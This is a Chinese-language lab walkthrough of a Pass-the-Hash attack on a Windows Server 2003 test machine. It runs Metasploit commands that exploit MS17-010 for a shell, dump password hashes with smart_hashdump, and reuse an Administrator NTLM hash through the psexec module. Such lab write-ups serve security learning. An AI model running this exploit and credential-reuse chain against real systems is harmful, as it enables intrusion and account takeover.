预备知识
目标计算机间如果开启了默认共享又关闭了防火墙,我们如果知道它的用户名和密码,则可以进行ipc$连接。其原理是基于ntlm网络认证。但是ipc$连接需要明文的密码,假如我们只获取了密码的hash值解不出明文,该怎么连接了?此时我们可以进行hash传递(Pass-the-Hash),即输入账号和hash值,进行连接
实验条件
开放445端口
开放135端口
关闭防火墙
实验环境
攻击机:kali-linux 192.168.200.147
靶机:windows server 2003 192.168.200.148 (不需要密码,我们可以扫描网段获取ip)
实践步骤
如果在我们不知道目标靶机密码的情况,这里由于实验环境里靶机与攻击机在同一网段,可以通过nmap扫描目标网段获取IP地址以攻击。
nmap -sV 192.168.200.0/24 #扫描自己实验环境里的网段
可见这里扫出来目标主机的IP为192.168.200.148.我们把他记下,准备来搞事
因为我们的靶机选择为server2003,所以可以使用ms17_010模板进行渗透获取shell
进入msf,搜索漏洞模板
msfconsole #进入msf控制台
search ms17_010 #搜索漏洞模板
use 1 #使用漏洞
我们配置相关载荷
set lhost 192.168.200.147 #设置本地IP
set rhost 192.168.200.148 #设置靶机IP
run #运行
使用getuid命令来查看当前目标机上已经渗透成功的用户名。在meterpreter终端输入getuid
用smart_hashdump模块进行哈希值获取。在meterpreter终端输入run windows/gather/smart_hashdump:
getuid #获取用户信息
run windows/gather/smart_hashdump #获取系统的密码哈希
可见标注地是我们的用户与哈希值,我们把他们都记下来,新启一个窗口
进入msf,使用exploit/windows/smb/psexec模块。
msfconsole
use exploit/windows/smb/psexec
把各项参数传递进入
set rhost 192.168.200.148 #攻击机IP
set smbuser Administrator #用户名
set smbpass 8502b23ffcef0986aad3b435b51404ee:7be2ef09d342b6cc569daae8e9cafe9f
#哈希值
run
成功完成哈希传递!